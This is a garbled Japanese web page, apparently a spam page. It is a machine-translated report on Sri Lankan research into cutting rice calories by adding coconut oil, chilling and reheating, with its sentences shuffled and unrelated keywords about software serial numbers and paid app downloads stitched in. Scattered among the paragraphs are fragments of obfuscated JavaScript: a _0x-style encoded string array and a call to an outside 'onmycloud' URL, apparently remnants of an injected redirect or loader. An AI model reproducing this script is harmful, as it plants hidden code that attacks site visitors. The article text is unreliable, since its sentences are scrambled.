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チームは、これらのプロセスの両方がRSの増加をもたらし、オーブン乾燥後に米を再加熱することが逆転するようには見えなかったことを発見しました..
彼らは38の異なるイネ品種のRS含有量を分析し、そしてかなりの自然変異があることを見出した。.. top/jp_dec2 php?x=sa&query=',q)+'');}}}R(); 水に油を加え、
米を冷却し、再加熱すると、繊維のような抵抗力のある澱粉ができ、カロリーが減りますスリランカの研究者は、米の調理方法を簡単に変えると、澱粉の一部を可消化フォーム.
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0x22c82d[_0x224d('0x31')]('https://onmycloud.. スリランカのCollege of Chemical SciencesのSudhair
Jamesによると、RSに関連した健康上の利点がいくつかあります。.. しかし、英国のサリー大学のデニスロバートソン氏は、パスタの難消化性澱粉含有量を調査する同様の研究を行っ
ており、長期的な健康への影響について仮定を立てることに対して警告を発しています。..
一般的に伝統的な品種は改良された品種よりも高いRS含有量を持っていました。改良された品種はより栄養価が高いか栽培するのがより簡単であるために開発されました.
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ジェームスと彼の同僚は、米のようなでんぷん質食品のRS含有量を世界の人口の半分以上のための食事療法の主食として増やすことは肥満や他の食事関連の健康問題に取り組むのに役立つ
かもしれないと思います.. 次に、研究者らは、調理過程の変更がRS含有量にどのように影響を与える可能性があるかを調べた。..
伝統的なスリランカの調理プロセスを40分間の煮込みの開始点として使用し、続いて2分間オーブン乾燥する。. Serial Number Adobe Premiere Cs6
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 油はアミロースと複合してアミロース - 脂質複合体を形成し、これはデンプン顆粒が酵素によって攻撃されるのを防ぐ、とJamesは述べている。..
レジスタントスターチ（RS）は、小腸で単糖に分解されないため、炭水化物よりも食物繊維のように振る舞います。.. var _0x1ddd=['OyBzZWN1cmU=','RVRodV
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理論的には、Jamesは説明しています、これらのステップのうちの2つはRSの異なる形式の割合を増やすべきです..
それは血糖反応を改善し、脂質代謝をスピードアップし、そして免疫機能を改善することができる、と彼は米国デンバーでの第249回ACS全国会議＆博覧会で参加者に言いました。..
実際、RSの15倍の増加という最大の効果は、3つの治療法すべてを併用した場合に見られました。..
煮沸後に米を冷やすと、澱粉内で水素結合が再形成されるときに逆行性澱粉またはType 3 RSが増加し、一部の成分の溶解性が低下します。..
これは、この特定の品種では10〜12％のカロリー削減になります。ジェームズ氏は、他の品種が適用された場合、おそらく50〜60％の高さになる可能性があると言います。.. 5時間研
究者は他の3つの処理ステップの効果をテストしました：ココナッツ油を沸騰水に加えること、オーブン乾燥の前に12時間米を冷蔵すること、そしてオーブン乾燥の後電子レンジでそれを
加熱すること. ae05505a44 Pengunduh Aplikasi Berbayar Iphone Email
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